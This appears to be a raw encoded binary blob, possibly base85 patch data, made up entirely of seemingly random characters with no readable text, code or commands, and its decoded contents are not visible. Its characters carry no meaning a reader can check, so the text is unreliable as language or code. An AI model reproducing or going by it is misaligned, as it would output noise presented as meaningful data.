z6*JWdRNXboPFu*H_3{!cti0&VOt&m3=d5U*ZhRmM8V%7F+J;imhu4svu)@3S6j6=F zaU2FtfmCuj`eXRY_7yLoGt0#o5_`u<+qTU^EXwURHxg-b619S<m$i=^FJ$z@p$#>F^Yo>S!2aD}T23#tOKtHdJ3wM1vFC?u8J zo1%H)0$a%gGyg1o^m4Yu(2=|0&=ZS}uz~3hMg2?*kC`3^6uJVz$3kV;!Wl4rOllNU zj-Wh|2lg~3tJwko5S0;7xl zY#DaoMD%EKYUEkX6GNf;(cK?q&q*IV9|l_!p0!bzSd$gq;x4IsNWs&UazLfG@4NV> zJ%>EU5e#synhcy?J$c`-Ama*+Rq{464cWUlL5(shdauR1)T&t)aIgr-p{<+5?ts~? z*vtH8vm7?{MbOWT+)i596eu96l&ttM(pLM52$-sy6s;ow1p22!;Q8)LhhfT~&$h?@ zKTyco-}j{9C1*73q;A%S&!k4Bb{g`?TuiS(c?=JZVqnB^27!Ya#jCiIZP_(n9-CPd zt~>nBD|xAlaS;A)%xN$C#JBt>t2P)&S5_YW_3HU)R2CP?DJ?~9PyKt7Ect^kd3=2< zmWq|{L34)x=`hS2IlJ=DombL2vdK`j1duO)7Cj(WeZ=%9kcv-B!!xNm5f+X0iZXsG~I_10@m?)`?30pq?bVL zuN15)mx1zk*eyXx$^}_Mb9u6AB;{N5bn@nmJ0nHkN>0~r*BtD3)$DL>K$4P<`j zM_*7*o4MAsr#wTXUj|S4CQU=-@PKGf9wYWgi=m=mLD3>J@xlp5GLRM7dFDFTL`flveC^FSuT zXqGk*(a*3$2jwgMM=N0<$4e&8&tx^x%8e8Z6=<tIPTGPWs5S%oHT>hbd??aExqlDIClzp?4MSkZ%c120aTZJNf*dadWQe6yq< zN?X(Y`Ndq**_`k0^2#Za(uCgHJAmTTfd#5m$~UtA#R|Osyexz2hf^IVdT{hWv7tdb z^+MF^EprD}!iS&$yNxr9VTNzLbqY91_%~1;g9+&N@T$MR)PZOe&_AWl_C*aLKDVC# zDKZWo>Tsd3H;hXybu+C}g-rKzCPncVn=_KKp~h*1lkIhEjtAo^YHBYOy58OKk#j-4 z4UfDloIBuwlx7rA&!D>=tAMbn+5+HUBi>5S&Fbbv_S?uPk!GXLi(p_Zc*m@#jib&s zSQV490jG}V@aK^0%)55+<3hIwVMRxiv5Tw56|)0#ugshStvK>14XanvTqFYhO!GyK z;tYgh1t89At21cyg@l&jxupa(ySJr-f`V;tRb*6vB>CF7y6spgiCywwl8Sn2b~LEF zt5>uw@lEKjEp zG8kv;P_GpLh^crt1s%t1#vjg!ly2#3B!GKHri|nvunSp)$Kh0)C@u<`UN|0ds!yPD z@(0bk6|co`{o*kou&bwWwz*;7=O;p<;Lpwr^v{4nOt$EM-MIsir3jpoP1PLaepr}{Z1Z#Eu$Z~2e5w}G>YWsv6=M8%>23FqsO=*Etb z=JC~aK>KuB^;79_II68k)IR#3@74v}Ks_o^58PqW#%cl*?+|GK5rm%q<-Rgil5Df2Y z*`kZ6kZlOEi5UjfaKMB!OX^xpmr=^$#ei9W6*;%gz7IwU%&Zns{%G%!;|#XRrd8)O zML4H)3VKenp$J-pVwl!QxAi)cglbRUr&nVXV$k?49XsgGG9#q$Vjs0l$Ojh=2XaSx zk1i@8@1wEKODNXxfek?G*{ylW-%ghP*JwjEc%wfE^K2C5QDx_sX*c9h+Lt~_S&#{1 zvUlq7Z^VpIJY`~H_ZRO^?gUlshp&&`nBxYO{)H~(r(c$HP3t`C)K{HaUI&dKecSco z>BiCTO@v)PsVt6TRHcA=iwRpm%rNS17fLnM+8y7tX~NP9{%aKlF4F;4UBIS}{GW^Nc7KxX8{_J?Q|ql&wvFhn$Px79+%o5kch$4Oq%e0Qt87bLD2trIob zaWd%Rna^=Vi%+Yq3j z<^*!CilsKHkaPe;LTBR3%mAcHYv-ZtNh&-M&`@|$a$3zhLoirvGqjUltUECwsfYZh zdh&Z)bMhM2vUrT&Ica zunI5Hlgn_uQ4!5OKz2lc@6p3OR-LrCi6E2IY-Tl~Lr&5C0_n^Np0{eMyp;nlc<6#G ze}HyT zl*uA#3&^1Q9&?s+kaA#jwF~W|R@{0@tphd!M*lxYjeF=}>7l`;O(NrpNsZ3EzdVRE zj~2Bh9RVMCt~q{?7mu7O>bH?cncqIcA?!d|NHg9VC~3GPB3B*H2uS zuZ`kBEO)4(vsUfMg%;vKlbd0B=!CZ3NPFXh#&jcW;zA{C>Zk^DO5BPRZ&em&UN$N~z zh8+I$UDUaErR+Ww+743C8||xG#wdSI9lga#W6s?iII97O~5=j>gVHF=hTji+^Bb@tLYzO2LBr;m0% zSr4LDkmxUBMo6OUarLsEw%1Q6TeZg+qfZvoPwd<o=*NA zzJ+6%DHL$#DEKJP)q@ea%yy`v#4>aEyhY){h8~ZjRTAvWu76?9aN>R^dyDCrOX7OU zM-^JNAxf<+bPVR7Pe5ti$V1-HSMMR!8FU_werpJ7DC=Fv2Z)Mj&9;-n_k5SnJj20=j`?Duj&c=Ve7sWqDZu4Qz3+cC4MMg^u#n}PzGX}}0O0$F&FM2lY`bNlRJ?;%n=fSpR zECi9bg9=?dKFBdm86cgLL7svezX|aiVzZe zB?D;x!zBcCpt&8^M{OnRP`G2*3F^w<3=Uud^3W0PQSsnKx7jf&i;YH*=EV4*sZO$a7(dZ% zW{Az_4SHWsPcSehL4GTjAs?HHP2NZ@WKkcrWHg8^kqYCgz8<~%UNH7`A}Je)^7yo~ zR6{-!>UMKYaC&fTchdUT#}Ty3ku96ft;I~nLm6)(QS4?buDtRr6I|$fA%v`c5D7#7 zWLS}tm;l%2QV{GTva@^J9l$&tGo}C{pG_o49z*UR$Z7+o)Es_K;TQ+C)dgh)HSV4* zN{-t6f;C1lpxj}*@#tR>@LMZ71P11C_?vUY*=k>?13@Ta9VV$)Hu`8UdoB`|9p3)6 z^qP$mDndO?6*HG9cpNPyFf^XpT#+eU?T%h$pKZD_ zqI29Y>;3cA5rK!KLFAI?)n(?Zb)@z6iz3w`Nt{C?U=x2M_f^XTuo8irKjt#q@K2nY z!Di*@9#+efV4Eo<95G)%r7}FpS3~7{)CS39lsnEj8`D1*pmB`6;XJ_-Im9sl$|P7| z<~-2RcN(Ccb2)LeF8YCeheSW<@bM})K*T|NqcR8()~zenIl^cMfPTTnh#z+crGmrc zw7w4?aDYUQbz8=+(#}&!Yd0KB0fkV^K-nEBB2zQ$x8O0Zn! z6tY2i0hNo7xy^oAIiO9RxzurZp+XAAIlR!{JiuD2w4oSsf;!1#G&`pBjdplH<`6#F zIw!{r2ed;@&G#smXEDaBnK6?HmkxHZdI4f)AD9`+)?DXABWILB3>X|cg)wM>0dUKu zZqdD=R920VP;AprVyWptO&bq8Y^D)7wli?xV&jYBn`ATD0~w~;bRRmsp&$7nj54KG zQl}wL^jW|(S(jc*&rnX+2~-$%Pab+SiSzm|Ge6<*|M zGFQ)b_0Rf20?Sq^#*^ja@8DN)3ZX3I`OpUmj(y-<2EnXHy3#6~YL0MquMaMrS}N&H zC=1Dsq;Zu~PRkIqsHB84TcF`Cfo#VZUYUHqPoO=8TxotiVfUPz#~z3eDRSBjMj8^Z zNqcg9c!{djy^?CFu94?Kkc!UJtWZZjcgEpszxa-BoJt?Z$f*UQTT;p`_58mb^k2R=WaHPBk{7o=o_mqo$=9RB1zX0Y zCq)(BG5mSb1mn`}G03b(mW@KoRs=q{p8WkX9&M?pm65*56F6Q?YlvSl?m*UrH#Ue2 zGuknRKf9rzqlVQ!Nv#)4O6*8QL8+ACWi*S5O?Ur1;uJ2fP38eHFG1P36c$}GWyl4cYs_AzT4>hwAg zK=V-n5tkM$#`EpwgkKQZ80L8bisdIWx5iX)s0(_sljnNk|2Q0j?5*wR(q$H&8xAXz zeAAuhs?SJOAs7gKsP$sJvG>6@z^0SHaiXA)`!rBqu$lJEpy1MVA6_@}uOIYZTWSBl zp5r({3pOMPi4&@dz~zF0TJ_VOY@+#YJ%lU0B8p?2A|!hu2tiKcvuM!*( zablfdb{{67<`PvsI-EMI{pW22C4518DXg&sz9~_Q!>e_+G~nyMJ4$}RUFVvamR$F+ zFp8f>Thbg4!;p!UCh=;g#TQGi6waR?CZk zk3ABpRB8736)Rvafi_CMnoiRqR?HrZ%2XIN4ynL4J1RIp<>QB^lfY6wV7#Qktu0}p z=Kgkq03Y^b1=K5S@!(za#DKRpG<(}jc?#`4I5(EXOGBT$uq8@iZS!p6Lz1aGC}Qd? zxjwtXO&Lh&uixnZ)GGx4`#H1c3?yyP@6Q&F{-&SCbJ4dKBH?)&eZnHABoTEOPAegp zskYABh{ZQ*4ygtR7bu~j0$W=2xJS)_skDD;>>>u*(34rV3t>ErSGz!%k}ym$#hFHz zl)9}{2M%?zvu4U0eFh&H$|DB`QK0$IL>L(6;`*ysOu0Iab*if+^!RS$pZ`oy8riTd7)W zKwbJKazTNwSGy9`W(#b7P7G{>oRy{SmI%N?-(uIlKYC&twiAn=xN-4RnB4)FHW6{L zV=ApA-bih(4Jf{E&X^CzU<+G-^Q2ClQLG!~paEPg3(Z!s zFL+!GjsUUs%x0UpF3MwCMII!Db&XQ+xQo~qK(J0RAn0kH@ETX0Lm3pqBCZ;;54Opx zrfn0AwK#hO{FKBye%8;z1Nso%x#e4B%``MUucwpqJy#kO-NQXgUeDlXyYXky%IR}f z1Acrqj)DLB2%~*vyq3;)z2eAevn~nRZ40=bWfh zIN|DkSf>LZ44%n{72b&0h&abV|Ht=cllRBP$yeLx`q)B#viF0eyeByo)(+TYhOts` z(FJx_53juie}D#E>`Zeui2|wcqixp@>q6<&WYugkXNz3M5e(}IS+s81`ODRmcMM;L z^09z2F4YNCD{(oJg>k_T&f)Gr5|JRRoaB6z`!h~E`{~gLP`j{C#R?yw7K|1G`^N|e zRH^2;uLyc3$2zISbJ5ltzEU6VAbawn&aJSBx@AT?0eG=gT3fi0PLAGyW)Ke+Q6H5K zae#;^r;Q<>GI}4@Z!(&4cs>PC77)S6Uc*ifAUg|TBP*PckPaC;4)iGdn5Gd>9W0w~ zymOZzEA1IrC8@*6!%C&C+MhmzcX_w*1@Q5x{kwS0=?FtdW2sqrAN}4wn)%4|;JY;6bEm7$ZjU1fcrK87fu{ncTYrzBlAgw(9d z=(%IWfM%4wAN1dTyI%SK`GfvAv&OLIvaNx_rrsR zJ^3Y;^B5luJgdAX___lhJe)<;=LdTeMtJjCq}4h{g&N~h6~&~hpYy=xHRG>gf09zR z*}S*j6SoO7wWSPP1+FGeVhXlbR!W}tR*=+AsOYK9l^E)f_UWo9qN9%KshMKK#5p<` z_ZcXhIkO-ea+^5MNkSYRM`Cyor>+cLTj=aMA8nZ4G;;sp1b)^|5y2Jq$gbT5fGgRP z%e3ynNqFFHpajBBT%$pdRXe3L-EIUP2N&L@Enc=GJ=ffrh+pTURQF1;B)ayT4i>7M3HQ$^0I}-A>YUQrV z%JWq%?K!1o=$<#`x>gZDUCbs|*18QV8lQLMBG#$iojh&icU?QKrAfJ{?RYD{8++|#a`1np4j|(lJS_*7xVoYByj9!XJcF;+ zqZy|;&DnnJwemi6obhK6!Z`1?z^o?&-(KJ$ave6Ma18<)O|-2TMW=MeK#^hv)44DB4Mg?W61~%q=Z}Losf#%X3oQObdcsVDTl2j;^aHQ1oNTdLr zvEwoe7NCg7)Qy50C(zP*)qK|8rUbRC>zc63bchdbDFl(fa42B~Eb=vi1lV?Lb5 z@rNZxLb7ZhyGQ^e4M~@yQt{c>YcLbBS8mmDL~M`&k6LmW5K)uOj#MWu{k>52Ux$v_ z-cBc5MILKf5L{`t!X!a&3GzV~4)r0+^9Lsm+fr_ zNrno$x`p3U>&KT)_p;Dty)N*o)2*Kqum7NCIk3we&bF>f5k^(i!Yf)cQGnl&)E`{( zUt9png>N6D0i<*Jl6_8fZx}4Ww2%uuTOXW?q=;2ID(fPV+lQMP^Wk;x?3sye3gv}H z-LJ-_Z{jJrhR@XW8_b0D>!|}u zpdL5o-el!$#`;BSN0edW7AdQ^>=HNcqBf3Z1_z$G&_Y#{ESaoHq)7!(0=9$kfH0Nl zU5;y|9&MjKZP*>jbew=hx8&T=SE+=K|db4kKxw^j&x}Rndc7f`^ z(YRN%$?X?A)>)`~MFeD;Tqi5{14SozWi=%N4*RoRzz27#?|8?4yo)3{cJ>f+FfeHb zx9p5S)3n5c^3qrBD=Yu6AES5oujeZ*O(N7@BEa_DBzh}|w@R596-e4@6W^*{XEaYE zc|Uh@s1eH^edMkUX*{6`EMA*Gs5mMUq)}!?pHwhO2l-^Qs8i4%Io!}eLUhWqqdm{L zE!G#YXUqyml8_4tUMWQ;wOY$5bb%Q1denmJ$d_3N(B%|uX&+faqKN46QPEqegBXLI z+KwvEy$c2+DQQenbeK{Q%Uo5ILAQj9bac*-$dy`YQ!wpGeMmd2jE|h9nBn!e5-t=#M#QsW1S$9+3*>|(KeWa9>6v|dc zwxn&!Xkd)DvS=stX|}ERJHQOg*26baxB596gIXJr>!HI0re_&JMl=7#ki0&lA9r4< z{XZWh-{|qA|H1V0OhkVo$y@c_u$>$=g!T-l-tib@NRWbZ3=~InG47835uZ{RQ$RNoNDEMs@shjXwGwO zl!q44R0`B%IO$M1j36lx7m-v9szsk>8OVCbHAtQ-1eE#WzRL@GNHBfRO^vUqX|RBs zrXONBp=D?8vDOwhAK~Y0UXNelRae{ded~6)`7YNFyWYx`=XNT`l?N$RZ9ps!z2~Dx zk+(@f6E4GDLgm0yA0pt`cOWTO+Q?I3XYMucYyJowuP$H0XtfL{nN(<7sx@3+^v^PD zcrCWxsej#|hv%el=myZ-Ohh0T=!*gX5MFGiFb_T8v7zbw0m?~p++E9gHa&|LryU%m&7z#VP&`E_%C z)mcwjtW0t0|Ja@kp!baT1YwGYKdC2=EDt*syqKX9?G7p=74YI*;^%}>fjb4pb%Hi< zQ1Q$lupMS#fLfgnJdT78%*6qWmxkMJqKP46ZIz?BdJD%k<_^(VZV0GUsnR z1c7ZEnfWUV`@t7gsP~%0M}V{vvuq(x@?s{s%wjm1xys|~BB=OzE$pvo!1NA@;uHKQ z)E!?D3MALZ#+hOZtDnXk97l`N-|P}G`7ZQ7PWsnhS6ZrdfNIs{oX0w&6;>794?qm# z&_-qA12R_Zesa}&?@sH-;`1IQl40}8rDqS<5<8aZDWZA09|;x8NvND!H+G}zJc3$n zWXsZf6fRbJn4hlP+c-6;iXj98-?(%ybAnbJJ+sj_FNX2}spVUA51;5SF<`6!#SR!+ zAQG_?Ck|(rH7JdT1Zn!(`!J|obhAejK#HlvNT8l2mn@rQ_3ULBSQ78$6fUQgLU=sQ zA>ty=3h3-KrQ#H;GKzX}PGxsPQLoqz8=HN~oDNTEMS%tmqDrL=0$D91>auH3rxb~E zlE$7tO3B zg)PWlu@4{nd1QNlu_pbkDeTLXLo@BN&F~rL z=r>Al=})H?4FT=fQSPD(5v>~MR^F6grrT)i6^AAh(*cboy)*RkP3)z zB@xPD&!a>Trzqa(vyc_WSQx&)iI@U>W4G`vsaoK(nc#>cbO;)t7P6D-4S8T~+O5xM zje6n;rb{WNn6mMG1yErsq$@5^*Fk0U-9UwdiyZYlv{a$7RGS8Qz!Ac9xOl#jV)a4O z22(6;dXfbIB3;z(9B#!`OJ+hqes(n=%;KTd08L$$PCSD$ncRA;X~ zrs@@gI2~6H!0q*I1?8Cyjoqf{zp+1xreY9R3 zyt3ABd^MWBw?@r#H*0jj9zK`MD^t{}3ngG-YP)2|7S&`VlWN6b(Eu`vdTMtJ&Cu0p z$)|r_4VP*vRYQcrFyVSYbKucRm5)~7|C`XiYD-HMM4oKpGJ@9RLNoJ`fjL1y(Ot*w z8HX;w>m}WIYSW(~n5IB@kXPH%`Dj(@Q?n~#mNcoH#RL+}gzd;~c1xkFOSPJ#pd6xG zL!DA1Aj75z2sqc8594<&k}%)aMSyjCu!S$VEJdO@xt#>gA?R9!)x=Px1A{E3O3HKG z#ww9G8${5d8+<8ou1RBfhUi>qBy-GD1&fHQ=T-F38w9~IhG7iCA~ANtG3>-?X3hO$ zK0}?rn{o>7;$3#2>vyn=2B2xH9V1^mHKSn;5~z2*wGh&!3Ly4`X_(nr&Nvi})SM9I zNnM_t<;6Xn^pVi?OlF#09=n=vFWn#r2`KN0;!=x?t`Dp%j>@^sR~(F$jH>Oc5g&{2!}DAhwUXTpmOC{3Xu#*;-7faX$N zGo{jEC{hVefjicNO@Bo_LztyMAeU#Fl?QkgEuYQ)Jl`#Ez}nm4t&g8CE>EdoNtbtk{MetXdJZOHnhlqXKvj_+J`q+x4|Gqj*yfn%~Q z6FhvSo&f1s87^ov`a$HB$gKN42^F|UKBuDxCcX%#~+WkBCo@S>tA1rNBCN^Pip9bfGvjkG>WgLAAY2jmQMnb8|L0*EPARC6`gR`d}OhEBIei1p01i{POQ@tk> z?&OrF$E#_Qd0uHiQYj+#(DFWDtoDjQk^}?nYYVpiYeqaN*rGRmSe764WE!VzvV#+0 zFnDFIs03$A-SsaxD}CIt!$vd`VMo-4-H;0#XS_2vpm)Ze0sTmhaw2gsdQOxGZ8edr z6sNR1>Vrt$J(8+U83eE37^39L1p#xmfT&OXw0qS9E2M0~Lq2MFR!5UiKt!1RX-b*Y zJluA)hq6;r7d6=Rp)7MiBQ9oY$Aqy^a2~HO9)mP~0iZFy^txTI%KH1*%%<0bwE@+A zzzQeN=JM;{YR6c4ESP>V7g}&|)l;zK)_yd(mmlq)T^3%WHO!^os!%AMwo!2|4z66< ztP>6}C8V;`6Tq>>1Gf{VYz7QROYNeZNAmR9Tx+&p(h)wrl-;MGZkUVHJp5X}wYvC& zE?JYmUm{yqFzx3J;MbL3StUvhhHJGFNClcR_#O3kKf&0JQCXR*ZU`iRIKyYroA#gA zAdqoEHq#EzH)r%`6`M9z8%&dHp66~+ND5#SUHU+4fuH2|$V|bJ2^{CV)}FL)B72f# z{Go@tc|a)#v+MG*6WY6nWxt41UDN~3==)$km=j2xc2sB>4J$}Yk*5?|+;{%bno@1m zUf=jt`%XJ(nL)gK45gs=gS1$r-c)jd=iawzf1A_GMpKw0(sV(*Fwz3(iJ>G_TGud(fd! z*VoX~l9te&2>#Y47ydB%J6$?k+T2E`!6$Yc`9O>kCeRI3LKp}e2JN*6rI_Z!!=H3E zC`8W#=QW0UK(RF^Z$Jk`C@zg0V=&Y4Eae{!^Xm3H4hRI5El5aI^(k1AV<-i|%9Duz zs}b7ulHAcZIApWgH6V16!XW1f1*nG62qeyOP*`|M49~fypGdY=5G0|nB&zejfgp_+ zzqoW9rV^vSFB6fi&Chp#C{OiSp)Fp8>>437pRoW$Xt~mOG`Y~)(6hNtdSV|K?ZCqI z%`uSLdQ@~c3-(8DbUJj+^rut3~7FgwQ>9zsgzL*=lB`$o zN5i25tWF4gs^{LLWkAPi>mcg0CE+Y+I;iftYUVqa(vydJ&X3nt+Bq1eua%(}=8{Gr%$3G8y8E1{>*@L?9?*Nu-p8@5 zQS(Bmf>Bt(xQr|gl+%}8>oJM?eW+f|dU|Zd$!TXSX&CU99X6Bl#1~NEp>g) zo->S>_@kF<8_6J+Zs5i&prsZqCaq4wQQZrJceaBA2N(U&*IR$LVI=p9FBQvQZCRu@ z_rxb%s5y859CgG98DN1AjJO%+xr6#$h=Y$k1#}0s`h@1@i zw7`h{q_cx*l&muvT-xZ!lw>Z<$|5jk%M2JNj%*b(D)Tu!YE0n))pZPX!WIo|juJR_ zm3SN>k*0@zaI%<{V3I;cWys(U!3RgY=WYoQ{Bwm^`Fgm|##pj&V)s%8L6aVS&Xy`7 z#zAunf&~}?I6@8^)A>@|2cum(wFyLZ1=JS5rNuu3y{nvimXyU}ODsOTlskXG+9N!O z1H?ao%H7XKNwYsL&crg<^_LmLW9FGfTcz#roXu0^7r zd!8jd91O@KRx&^OLVN;`K`PWJjf($U<2?209bIU`s|m2-9DRj0Z4%|3iY$63|G|~s zNZ?%>)OV{=Lnx6q+G;j{rW15KFzbv-gh|+~=i}n-pzyVS)Yb(1I_SCK@Imrt!NF%< zM(=~PH1P+J5H{bF#-D#Mm^gNv}2pk^~kxVb#;4Q$UY*Gkgj7nf^ z%+FCpzGtNzFxasj^>Hg8w(7t*h~H!s94mmC=gFJ_Zd#eo(;Q26(6qYDGayq$ zNzE01EbT@NzSKF)**W44CYIf_>j2*2bMV_abTQ5rUwU)KZC4+XlrL-N#n8YvV9wL5 z%-sP5k)hqmu4eQg(05>10JtX)oN)kkF&<^UJ!I&F4sd2H?rT!MFREwj>wKF|PU+<5W7hiU7LtTGAtSK(~nd`u5_pk5b4( zDT)rWD6)7{8%(U0$uUad)rr?}6b5?XA%_3N)gbmL=t-9S0v7Z2|jggn*hRuG&$ zlORzsEg?_xV^gC6JO;Z}QpC(aH78oFAIFtd{nbW7dctW>uzW_HXfuUAS|#U7Ca;q) zTOB#Ak{N+u3Uoz_ga=?NRHtUyN(r$0~sPOmL` z>{kC9X~wwz4U|R=08_5)dgP5o3UUyj+wETH^ZNS3u{`qJN-dXlOfjOteJ4myjiV^ZG|hnZ%-TRhCzAR@(g!VKE8j6u(X1MqFOIb7@#U%&c6*Q}Vr99kdTLPPex8jdy!dU;D+ zNUiHEH-BDlWL^0shDOwRW>OvATZZyDJc|r&UEgB|=U8$7udjskN23jNo!Tet zkZ2toGF+j4LaTR0!6v^vy5ZqZi7NVzse_U-vD0~`Ngcc>ZbXyO#^G@;NGN-k>BBtA zc*szj*ZkpS4JyKo^WM#Tq|qL%(H?%1M_9lgjv8MM=&rCoVg^2tR4$PL8Fma@`0U5o zJeayb(Gl)xU~rK3;*wGn{nZcuTw0BfCQtdEp$|1rEBP`3@70#ZpzRbDWI>8~v6CFF z8%=S%1Z_DrH4aJ;jVVJXyN;(B1T`J`f25`PiKAnKUPGRFg?yh;87ggI*A7UY!h#T0 zSHNi`^yoO6cySq-phy$PQ|p7Gk&2E(vAx77`#XkUZZ$f*s{7dGHS`%qpxlzpF>v3% zBY8>;q+5LTk7kbz^1x+EJjj?ZA~L=f8JTPqU3V;XfQ(s%b;y#P8pSa_Xzo5X;Dx{p zdE6+LLGyC`YSb_`(0(1|fi$4^^>fGYRla&oS81tNrLWH4RM_?>SRWtOSz`Q)9%&4_ z>0b`w-gyqF;m2`l9i5yeFbZ)eXsVsOr8^np=}n}rqS=dLnx5v3z|Wl27?=Z7P73w@ zV2og$;7~RhN>BWOr`P5Lj+OCV3evm=Q8-CRRLrOk8m6AVH=l;U^#z6$qB}8BFpX!q z6AWwGKA^T^>;N@`F1`9ZeRSgW0}oJOgc&#iAe;Sfo+4lneZUDtpxYDvxRN?h&&`PiYBJFB?&YnWpsltUip!>>+p+>E4(aghPt_%HG$?+bl4w}aM{Jgago8XO$O z=$H#~6}_B}=^ojs^8|*YI*eTh?^3(Yep{BW!0~`=b`YRitbX>UMmjGJ&& z4<)IIR5YIY<(p)@NTOfIKzA(-h}`v|J5{CKsH}P6oD8$T=Es6Gp80RbH5>Z#9P{a1F)wqo z*?!A@O#^wf7t>v52V@4^3n3%}=7N@?EIuj+ftD}Qo1Gs1!0ykjPqseo?VL~@t}H4S&S!tR-^7OfW^686`thO9fg6LwR;k z{A6&sVMnxBBWdL!!lcAO>Q>68Sr1*oEfp;1H-EGhH!g=uhx5 zm{V*i*}z@T%6m#AFwA1OxBs&`0R4wWHNUE3Jj65$$**uiRr5jF`{Q+!<8DvtE*I4Y> zv#(E|m%u&DHeZ`A;zg6%v|^?>{QAziIn@i8=2<}x@@X|8J^KEeSYY%nVs zrSKTM(d(g`v9ev>1Hke=?sB00uNJkDYy$z{8~u8r(kl~S^|JzUC&^aKwd%SXB$Y1K zO_kJvZQ-!O<`9ckP{avxk3lAG=@XZBJQZXEZD@9gkF8_Mbkj2nELaL(X%a|LlF^|4^CXDK~q5oi@3 zz~etWfOc>LtpNv!Q|u&t&|sogI_#|-PiTa$kJhO_FC&m~5@GXN!P4rQ!U~}yD<)q8 z3O%9O{JQnuq&1qHGxX#Vr%p@xhVJP5%L>m_ccY(lQ}VAA^kBSmjO)PoO|<@>ZKmK@ zgih3E=uK@Z9A@6t(_NZFL+|+i>3ZK~H~nnWef@##|L%%~+I z@61rNL79uImL!^uOD*+X0;J!zq%nlcful|(hz#r!hJ^T#`eU=0Gpz{1)06KxvUd!5 zoK@U;#U`F&9}Fi|nb>_C=Y0n0a*kr3;thv~$b)0TLnQY>q`vYt7t{ds3{RM2tP!&_ zKi|=YWF$|GrvlrI=)^nz?yN^dz)mKg*;nAjj=Z*jQE4XdJ~i?j_e1X1>eat^6_bY4 zAyL5EvvxPvm5Y?N}&P#`RDMh$3#EUj7IZ}MG}9-&E4$lSTHG-8)3 zK$x=QnVRY@qR=9p#1rxvN8UEIYtJipYB0!gpPa+|5K7>r4tJSS_b z?I;Z0r#HF-UFsgoz;|@4&RG>Ma=wY2-8AjUrX|S^bVYi-P#(MoP)f1Su#&?jr7WA# zdxE|P=k`f$0GJ9{ictfqUtLkVynN1H9HC!TpC9#5=?HrUnIDD~+BVf`=^4vxwL%iB zn@DC1yx85-6wZgEOPc!POqGLd%jnX|eyPCaU4lMG!mhPMC6j-?FRy55lB*NQfdi*$ zo1x?t$hAqhS{rszcS2RpQg~XLy0eXlKJ{y*b9OS1;QM9H!WtiL4V4dm((41c%Jiicjyy$Sm^P<#iJ_l^ zpb+xpE5y`qMA=H=X|jSFSVDF$#tumaN#F3IJ({fy?lME>nx4B^bCjeM6^DXDB#Pp6 z)FQikyi)iWD5D!EJ7=9MVa3n?Om}~Zi*Ti$Yllb@@=sU^z!r`Ctff(c;Ud&ug0!zz^3+2Z&`WlpGXsatdI5q$W{571!s9 zVeu@Ht^I_EDkMAxT6cE(N!)J!|o;t=rRN8ZEhr3n{xgcX`>HiU`xDt4lb1RzUt^k#!H;N z-B=1A$ia-_ATU-X3VuK%b;q;Eh`*)KjlOSb?URbmou);8&p;N0N1nJwnwTU$1`tch zE5{)vcac zKtFf%nSqJ~TsolgdkFQ`!t?aaO?-2Xu{wq^ps(dE+iMzdEXJuShteHwZ(aYacdB_R zk15Y}7Uh?*8|=*PPv*?^G~MuGx}&&8PYj-gJ&tmKSQTfoUA?*CmAix{M7N+}&>oXTjJ)gj-vREt zr9!@6_Ng+)KiKc!zj~4#kNdxpt{!azbh_08vgPj`Y@ptey$P)3+?&{!BhxVW-)A zvGj;%kmLr=vu)$2G86a%uyF)hUya6yVpDJ%W9|%f{0T^-@cD*-EC)>c-}(mt_qJy$0ms zX_wWeVDG>6Pu1SP2J1A5r=m$LisvuAVJ({pC*Txa6^6>x9-c#f61R#cz8BXZTS-q` zvmNb^7^~H!{Go7~eNsRAex7hiKTOHpqFy#6n4XWo=n0CGQZy>x707a@?Nv{+gOd@Y zE3m_xUUFgG3S?`c#+@U;U~@KPr5O|KeLi6fXpi3u{Fn6ItSm=rwhIzElEF>8#0d_U zrb!<|+WT93jPi4CSqW4eV5YC}9{c){xjUI|+Qd5DbtA}>Lt|RzGLYS;Ac{fnL z7q%0-`LfL(!i%;__X)}eagV7fAY4a0&1Dd`*c3`G`^-cDDOC0j&n|`OSSy04h(??K*)vZ71fQpya=K0`mSSa7G`6r)w)Ze&bxuiz{qpxv)$VhpV z-YAz^RQqRhYWK+%(or{9XkIbl-7xdL$y9MmZ{{VbL;8|tz8-x9l$*peB=3%6avfYufn|I4w!zW(ajUK?HB`%{W1BIVU*yhlK-)>iz(C#?i@X9&lazN%w@kNC&?L-DnY2SaU#V^!Zzk<^dC_VB0v zc~mJnyUQq5u{_#umfSr~7}GYS{XT^mJFS+|zzEU{SOTkln!AZU3W^VYb7Ed|J$=PX z?Jk35X@bF;w{)F@ba>K=K&^{Pezd``zqLgFHBNJVYnt@Yu9Hq7A}uu+8e}y&7Be?9 ziloe4$8eFm%QMN}8xHBq>a6YO#bU@(Pg09x5XI5J%eq)At4kBe`b4fFkIF~K@pn?^ zpLY8Jxo^e0VUR%Nik5l5;1b5Hqyai7gyWS#?gpq%n0s_k8)w@pAbKfQF4UpA=O+3v8f$^iQ3 zQ@qFzR)49y{7Wm-^NaJmDLkXq88y$2<@LQ@uQ~o&XK}g0cfTQK07VkZ4|=CPdxh(? z${B434Ic2o=(sVIsqtJA4lmtFWq*eucLe9KEHDl0egUStEO(8D zNzULSGk~On!-5%X0&%fKCF1%3_Sd)YsmY`{D-bVci_=j-qDVA^LHgLz zmdXL7`2pF;Z=a*~e{ZxuhG-Fb8Y|CtnRb4aK`;w>YtRlU-uOAoFZxZE;V!T1lxYto z9J@XCC>|7gqCd~??{EUVZ{J_K^t@LkTklkH6ezQQ%@dg|!@gD0`uS zAO##Y>ODuc{GBJ0=KuOR8H2@x(>$sBEUAn`0vL|0u*{9KLvl-SKh3bQQ$YT2c)i=r zbITc@uz1~6mg8p0hY{rN5%$HhA&}ow4JZV~kKN|Kp^tG(nV0XVE7+;XT+-W^BBhHm znhqb$0vqbkjdN|fYi#$;xeI~m@O@wY& zY+56(nwoxN+5hqA=ud)}BQ(oHOsPnlK9vEN29Db8hYN==s~v41b0rceWDF4Kz}+=! zbWWkoB#`}NZ?q1no0L{?goc^in{!s11*3RZj4))ko?xvo4IS84=#Y28u zuhHBa)^EsvPTj^he_3n@h0Gb7x)xSaMq%wh{z?N1K%LiYI zZYuYlymsrBVo7yh)ToN++a6$6&X@T1lYhuCo91u1Sp;pXURm!CI>7*Ue5zj&6tI(C zy#3p^fK2Lx@_4K$d?&Pp+WNx-Y~`u~>>6( zJ(x;3cSi_hCTe#YBM3a|iJ4Cas9YHx0sYKD5KWq>u{#r75KP_OQY;^x*9SO z^pImp-$2a^4W6@Za;9GT%84ko>-N|DQZr1zrgsrFnZwp3{rwN3KL-7nXEC+8j^&pu zT}%@LAx*PQR&cG#Vj(79!lvhvW=a5VVA@o4c=ORAY5a(PGESv 